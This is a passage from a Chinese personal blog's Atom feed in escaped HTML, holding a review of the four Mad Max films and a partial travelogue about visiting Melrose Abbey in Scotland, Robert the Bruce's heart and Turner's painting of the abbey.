    <content type="html">
      &lt;p&gt;我讨厌重温电影，因为我只把电影当单纯的刺激。唯有一部电影我看过两遍，它就是《Mad
Max
4&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;。九月六号亚马逊&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;prime
video&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;下架前三部《Mad
Max&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;，出于对第四部的爱，我决定补完这个系列。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;第一部&quot;&gt;第一部&lt;&#x2F;h2&gt;
&lt;p&gt;在看第一部前我期待的是和第四部一样的世界：橙色的沙漠、奴隶社会、义肢、改装车以及喷火的吉他手。结果发现第一部的世界里秩序和文明尚存，科技也依然在线：虽然&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;V8&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;引擎需要从破烂里攒，但医院看起来毫无退步。主角面对的不是浑身涂白的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;war
boys，敌人的座驾也仅仅是摩托车。如果我接触的第一部《Mad
Max》是这一部，我只会以为这系列是介绍澳大利亚风土人情的纪录片。&lt;&#x2F;p&gt;
&lt;p&gt;我感觉这一部的问题是背景设定还不够疯狂。确实能看出道德和法治有所倒退——但警察还在巡逻。最后的追车决战也有些无聊，能拿出来说的也只有启发《电锯惊魂》的结局了吧。十分我打三分，不如同为末世警察的《新特警判官&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;——当然，和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;12&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年的电影比有失公允，但我对《Mad
Max》系列的期待是从第一部就开始炸裂。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;The_Road_Warrior&quot;&gt;The Road Warrior&lt;&#x2F;h2&gt;
&lt;p&gt;啊，裸露上半身的壮汉、戴着面具的肌肉大&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;boss、车前面竖着人、除了沙子还是沙子。我感到，一切都回来了——或者说，一切都开始了。第一部仿佛是第二部的预告，而第二部才是奠定系列基调的基石；就像凯撒终结了共和国但对罗马未来两眼一抹黑，而奥古斯都建立了帝国。这一部的车战相比第一部有显著提升，毕竟第一部是一对多，而第二部分一些镜头给战友：不会说话的小孩是个点睛之笔。结尾发现油罐车全是土，毫无怨言，孤身一人继续废土拾荒，这个味太对了。&lt;&#x2F;p&gt;
&lt;p&gt;这一部最先抓住我眼球的是肌肉大汉摩托车后座上穿着裸露皮革装、被锁链拴住项圈的沉默美男子。只要一帧，就能展现和第一部正常世界完全不同的伦理观。没想到这美男子没几分钟就领了便当。大汉因此暴跳如雷，被戴面具的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;boss&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;用肌肉勒晕。那大汉很明显想拿&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Max&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;当后座装饰的替代品，私自出击撞翻&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Max。然后就是从车前绑着的那两个人开始拍摄，到引擎盖上戴着项圈的大汉，顺着铁链再移到面具大&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;boss&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的镜头。追车开始了，大汉就那么被拴着，婀娜地趴在车上。等项圈和手铐被解开，大汉甚至没有一声怨言就投入战斗。废土世界就应该充满男同和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;SM，不知道为啥第四部没有这些了。十分我给八分。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;Beyond_Thunderdome&quot;&gt;Beyond Thunderdome&lt;&#x2F;h2&gt;
&lt;p&gt;哈哈，用盖革计数器测水，越来越有废土的感觉了——也让人想起第四部最开始的开闸放水。造型设计融入了日本元素，总感觉这和沙漠不搭。这部加入了许多搞笑情节，也许是导演想要扩大受众范围，但是纵观系列，这一部基调显得有些突兀。&lt;&#x2F;p&gt;
&lt;p&gt;影片名字里的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Thunderdome&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;从外观到橡皮筋看起来都像儿童乐园的产物。影片中期甚至真的到了孩子国。Captain
Walker&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;养育孩子的迷你故事让人感慨，但是，我想看的是改装车&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;VS&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;改装车啊。影片结尾，孩子国重新点亮了悉尼，很美好的结局。鉴于第四部&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;30&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年后才出，这一部担任了很久系列最终作，我认为这个结局是好的。十分打五分——这一部&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Max&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;甚至没开过车。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;Fury_Road&quot;&gt;Fury Road&lt;&#x2F;h2&gt;
&lt;p&gt;我忘了，准备再看一遍。十分打二十分，因为我看过两遍。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2024-02-06更新&quot;&gt;2024-02-06&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;更新&lt;&#x2F;h3&gt;
&lt;p&gt;偶然在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;B&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;站看到有人传了&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.bilibili.com&#x2F;video&#x2F;BV1QC411z7Sk&quot;&gt;黑白版的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Fury
Road&lt;&#x2F;a&gt;，没忍住就再看了一遍。因此将打分上调为三十分。&lt;&#x2F;p&gt;

      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;mad-max
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;mad-max&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    





    





    




&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>Melrose Abbey</title>
    <published>2022-08-28T16:50:13+01:00</published>
    <updated>2022-09-07T21:30:02+01:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/melrose-abbey/" type="text/html" />
    <id>https://emptystack.top/melrose-abbey/</id>
    <content type="html">
      &lt;p&gt;Clydesdale&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;银行&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;20&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;镑纸币上有位国王，据说他埋在离爱丁堡不远的一座叫&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Melrose&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的修道院里。我决定去参观一下。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;路上&quot;&gt;路上&lt;&#x2F;h2&gt;
&lt;p&gt;从以&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Walter
Scott&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;小说命名的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Waverley&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;火车站出发，一小时左右就可以到达&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Tweedbank。这趟线路叫&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Borders
Railway，2015&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;9&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;月&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;9&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;日由伊丽莎白二世剪彩&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-1&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-1-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-1-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[1]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-1-content&quot;&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.theguardian.com&#x2F;uk-news&#x2F;live&#x2F;2015&#x2F;sep&#x2F;09&#x2F;queen-elizabeth-ii-longest-reigning-british-monarch-live-updates&quot;&gt;当时的视频&lt;&#x2F;a&gt;。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;虽然只有一小时车程，但已经是近百年内英国建设的最长一段火车了（碑的下半部分&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220827_175937.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220827_175937.1444993a52c936e3.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220827_175937.e4e777ce6299fe04.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220827_175937.f31127fd89f15364.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220827_175937.e4e777ce6299fe04.webp&quot;
	alt=&quot;The Borders Railway opened by Her Majesty of Queen 09&amp;#x2F;09&amp;#x2F;2015&quot;
	
	
	height=&quot;4000&quot;
	width=&quot;3000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220827_151844.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220827_151844.b951149caf131c17.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220827_151844.9a5f89ee32643a85.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220827_151844.537238c20ef42deb.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220827_151844.9a5f89ee32643a85.webp&quot;
	alt=&quot;Melrose Link&quot;
	
	
	height=&quot;4000&quot;
	width=&quot;3000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;下车后沿着带有&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Melrose
Link&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;字样的路标走，大约半小时可以到达&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Melrose
Abbey。如果沿反方向走半小时，就是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.scottsabbotsford.com&quot;&gt;Walter
Scott&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;写就《Waverley》的故居&lt;&#x2F;a&gt;。不过时间有限，我们直接朝着东边向修道院进发了。&lt;&#x2F;p&gt;
&lt;p&gt;Tweedbank&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;顾名思义，是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Tweed&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;河的河岸&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-2&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-2-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-2-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[2]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-2-content&quot;&gt;粗呢的英语也是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;tweed——&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Tweed#Etymology&quot;&gt;其实本来是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;tweel，但是有个伦敦商人把手写的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;tweel&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;看成了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Tweed&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;河的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;tweed，最后粗呢就以&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;tweed&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;为名了&lt;&#x2F;a&gt;。Tweed&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;河本身的语源，&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;River_Tweed#Etymology&quot;&gt;可能是古布立吞语的“边界”&lt;&#x2F;a&gt;。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;在快到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Melrose
Abbey&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;时会经过&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Tweed&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;河的开阔处，景色不错。湖面倒映着天空，低矮的灌木也呼应着高大的树冠，几乎是镜面对称了。稍远是一处石头滩，把水敲打出哗哗声。点下面的照片可以看录像。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;onedrive.live.com&#x2F;?authkey=%21AHGR10D%5FjiAFRrw&amp;amp;cid=C71C65A26DDCE6F9&amp;amp;id=C71C65A26DDCE6F9%21182754&amp;amp;parId=C71C65A26DDCE6F9%21182753&amp;amp;o=OneUp&quot;&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220827_155412.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220827_155412.ea0c44a1fe42c334.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220827_155412.fe969598ae1c8f20.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220827_155412.6b7a7ed7db8e07ac.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220827_155412.fe969598ae1c8f20.webp&quot;
	alt=&quot;Tweed河&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;教堂&quot;&gt;教堂&lt;&#x2F;h2&gt;
&lt;p&gt;离开河道再走三分钟，可以看到一座宏伟但空洞的建筑——Melrose
Abbey&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的教堂。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220827_162714.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220827_162714.7273e46add0abb09.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220827_162714.8b694747bca82bdf.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220827_162714.bb102d51782a6a5c.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220827_162714.8b694747bca82bdf.webp&quot;
	alt=&quot;Melrose Abbey仍然矗立的废墟&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;我们来的时间不巧，由于天花板脱落，游客不能进入教堂。围栏上有&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.historicenvironment.scot&#x2F;visit-a-place&#x2F;enhance-your-visit&#x2F;melrose-abbey&quot;&gt;全景视频&lt;&#x2F;a&gt;的二维码，但观赏者不能自己转视角，效果还不如&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;youtu.be&#x2F;w03DrX0X6-Y&quot;&gt;三年前&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;VTuber&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的整活视频&lt;&#x2F;a&gt;。&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;soundcloud.com&#x2F;user-872669322&#x2F;melrose-abbey-vir-perfecte&quot;&gt;复原的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;13&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;世纪圣安德鲁斯宗教音乐&lt;&#x2F;a&gt;还可以，伴着它欣赏透纳画的教堂内部吧&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-3&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-3-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-3-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[3]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-3-content&quot;&gt;IMAGE
CAPTION: Joseph Mallord William Turner, Melrose Abbey, 1822, Watercolor
on cream wove paper. Gift of the Manton Art Foundation in memory of Sir
Edwin and Lady Manton, 2007. The Clark Art Institute, 2007.8.106.&lt;br &#x2F;&gt;
这场旅行起始于&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Clydesdale&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;银行的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;20&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;镑纸币，巧合的是&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.bankofengland.co.uk&#x2F;news&#x2F;2020&#x2F;february&#x2F;turner-20-enters-circulation&quot;&gt;透纳是英格兰银行&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;20&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;镑纸币的人物&lt;&#x2F;a&gt;。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;2007.8.106.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;2007.8.106.jpg&quot;
	alt=&quot;Turner, Melrose Abbey&quot;
	height=&quot;1600&quot;
	width=&quot;1093&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;Melrose
Abbey&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;最有名的滴水嘴兽是一只&lt;a rel=&quot;external&quot; href=&quot;http:&#x2F;&#x2F;nms.scran.ac.uk&#x2F;database&#x2F;record.php?usi=000-000-579-545-C&quot;&gt;吹苏格兰风笛的猪&lt;&#x2F;a&gt;，很可惜我没找到在哪。导览书&lt;span id=&#x27;fn-4&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-4-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-4-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[4]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-4-content&quot;&gt;导览书卖四镑，&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.historicenvironment.scot&#x2F;media&#x2F;6560&#x2F;melrose-abbey-large-print-guide.pdf&quot;&gt;语音导览的脚本&lt;&#x2F;a&gt;倒是直接公开的。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;说中世纪人相信动物是由上帝创造指导人类的，所以教堂外不仅有人、神还有各种动物。不过对于那只猪，书里说这是个玩笑。因为风笛代表阴茎而猪被认为是不洁的动物。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;心脏&quot;&gt;心脏&lt;&#x2F;h2&gt;
&lt;p&gt;修道院的核心是僧侣集会用的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;chapter
house。这座修道院的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;chapter
house&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;已经没有围墙和天花板了，只有少量地砖残留。上世纪考古学者在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;chapter
house&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;下发掘出大量石制棺材与一个装有心脏的铅制小盒&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-5&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-5-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-5-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[5]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-5-content&quot;&gt;讲解牌上的原文是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;casket。Casket&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.merriam-webster.com&#x2F;dictionary&#x2F;casket&quot;&gt;既可以指小盒子也可以指棺材&lt;&#x2F;a&gt;。牌子上的图片没有参照物，不好判断&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;casket&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;大小。但考虑到内容物只有一颗心脏，推测应该是小盒子。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;有人声称这颗心脏属于以&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Melrose
Abbey&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;为前线基地，使苏格兰摆脱英格兰统治的国王&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Robert
the
Bruce。纪念他心脏的标记上刻有同时代苏格兰诗人&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;John
Barbour&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的诗句，大意是“没有自由，高贵的心不会停歇&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-6&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-6-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-6-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[6]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-6-content&quot;&gt;&lt;a rel=&quot;external&quot; href=&quot;http:&#x2F;&#x2F;news.bbc.co.uk&#x2F;1&#x2F;hi&#x2F;uk&#x2F;119036.stm#:~:text=The%20plaque%20bears%20a%20line,know%20no%20ease%20without%20freedom.%22&quot;&gt;译文来自&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;BBC&lt;&#x2F;a&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;http:&#x2F;&#x2F;www.rampantscotland.com&#x2F;know&#x2F;blknow_heart.htm&quot;&gt;Rampant
Scotland&lt;&#x2F;a&gt;。诗句来自《The
Brus&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;，应该是重写了“&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.bartleby.com&#x2F;212&#x2F;0502.html&quot;&gt;A noble hart may haiff
nane ese, Na ellys nocht that may him plese, Gyff fredome
fail&lt;&#x2F;a&gt;&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220827_161753.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220827_161753.7e87b26fc2708b9b.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220827_161753.3997f9b4f8c1c869.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220827_161753.fc0940a3edb1e996.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220827_161753.3997f9b4f8c1c869.webp&quot;
	alt=&quot;纸币上的Robert the Bruce和相传埋有他心脏的地方&quot;
	
	
	height=&quot;4000&quot;
	width=&quot;3000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;不过，导览书上介绍&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Bruce&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;这种地位的人应该葬在主祭坛（high
altar）旁——主祭坛确实埋了一位苏格兰国王：Alexander
II。中世纪时期心葬很常见，所以挖掘出来的应该是院长（abbot）或有钱的资助者。当然，修缮时把祭坛旁的心脏移到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;chapter
